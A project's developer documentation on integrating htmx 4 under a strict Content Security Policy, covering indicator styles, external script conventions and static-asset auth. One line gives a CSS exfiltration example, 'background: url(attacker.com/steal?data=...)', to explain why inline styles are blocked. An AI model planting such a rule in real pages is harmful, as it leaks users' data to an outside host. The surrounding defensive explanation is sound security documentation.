Files
member-console/docs/htmx-setup.md
T
cgalo5758 94334c0e64 Document CSRF removal in favor of cross-origin checks
The server no longer uses CSRF tokens, relying instead on the origin
check in `internal/middleware/csrf.go`. Update all documentation, code
comments, error handling, and specs to reflect the new protection model
and remove the `csrf-secret` configuration key.
2026-09-21 14:35:35 -05:00

95 lines
5.3 KiB
Markdown

---
title: "HTMX Setup"
audience: [developer]
summary: "How HTMX is integrated under a strict CSP, and the conventions for adding external JS and CSS to HTMX partials."
---
# HTMX Setup
This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).
## Overview
The member-console uses [HTMX](https://htmx.org/) for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the **HTMX partial pattern**: the server renders HTML fragments that HTMX swaps into the DOM.
### Version
HTMX is vendored as a static asset at `internal/embeds/static/htmx.min.js` (currently v4.0.0; upgraded from v2.0.4 by the `htmx-4` change, 2026-08-31). The migration is complete: no `htmx-2-compat` shim, no `implicitInheritance` flag, and lint fails htmx 2 residue (`hx-disinherit`, camelCase event names, compat references). Attribute inheritance is explicit: only the page shells mark `hx-boost:inherited`; everything else declares its own attributes (see `design-system.md` §7). Requests carry no CSRF token; cross-origin protection is the server's origin check (`internal/middleware/csrf.go`).
### Loading
HTMX is loaded via a `<script defer>` tag in the page templates (`operator.html`, `index.html`, `products.html`, `billing.html`). The `defer` attribute ensures it loads after the DOM is parsed.
## CSP Configuration
The CSP is defined in `internal/middleware/security.go` and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.
### Relevant CSP Directives
```
script-src 'self' https://unpkg.com/htmx.org@*
style-src 'self'
```
- **`script-src`**: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.
- **`style-src`**: Only allows styles from external `.css` files served by our origin. Inline `<style>` tags and `element.style.*` assignments are blocked.
### Why No `'unsafe-inline'`
Adding `'unsafe-inline'` to `script-src` would defeat most XSS protection. For `style-src`, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.
## HTMX + CSP Interaction
HTMX has two behaviors that conflict with a strict `style-src 'self'` policy:
### 1. Indicator Styles (Solved)
htmx 4 delivers its default `.htmx-indicator` CSS through Constructable Stylesheets rather than an injected inline `<style>` tag (which is what used to violate `style-src 'self'` in htmx 2). We still disable it so `app.css` remains the single source of indicator styling:
```html
<meta name="htmx-config" content='{"includeIndicatorCSS": false, "noSwap": [204, 304, 403, "5xx"]}'>
```
(The `noSwap` list is the error-response swap contract; see `design-system.md` §7.)
The equivalent indicator styles are provided in `internal/embeds/static/app.css`:
```css
.htmx-indicator { display: none; }
.htmx-request .htmx-indicator { display: inline-block; }
.htmx-request.htmx-indicator { display: inline-block; }
```
This gives us full control over indicator styling without any CSP violation.
### 2. Swap Transitions (Accepted)
htmx 4 animates swaps through the View Transitions API, which is disabled by default (`htmx.config.transitions = false`) and stays disabled here — content appears instantly, which is also what the deterministic screen captures rely on.
**Why not `'unsafe-inline'` for styles?** While less risky than `'unsafe-inline'` on `script-src`, it still enables CSS-based exfiltration (e.g., `background: url(attacker.com/steal?data=...)`). Nothing in the current setup needs it.
## External JavaScript
All JavaScript must be in external `.js` files under `internal/embeds/static/` to comply with CSP. Never add inline `<script>` tags to templates — they will be silently blocked.
Current external scripts (a representative sample, not exhaustive; see `internal/embeds/static/`):
- `error-handler.js` — HTMX error handling and toast notifications
- `confirm-action-modal.js` — the shared confirm dialog every destructive action opens through (`docs/design-system.md` "Confirm modal")
When adding new interactive behavior to HTMX partials, follow this pattern:
1. Create a new `.js` file in `internal/embeds/static/`
2. Add a `<script defer>` tag to the relevant page template
3. If the script manipulates elements inside HTMX partials, listen for `htmx:after:swap` (or use `htmx.onLoad`) to re-initialize after swaps; htmx 4 event names are colon-separated (`htmx:phase:action`)
## Static Asset Authentication
Static assets under `/static/` are exempted from authentication middleware (`internal/auth/auth.go`). This is necessary because:
- Static assets are public resources (CSS, JS, images, icons)
- Some browser fetches (e.g., `<link rel="manifest">`) use CORS mode with `credentials: 'omit'`, meaning session cookies are not sent
- Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow
## External CSS
All custom styles are in `internal/embeds/static/app.css`. This file consolidates styles that were previously inline `<style>` blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.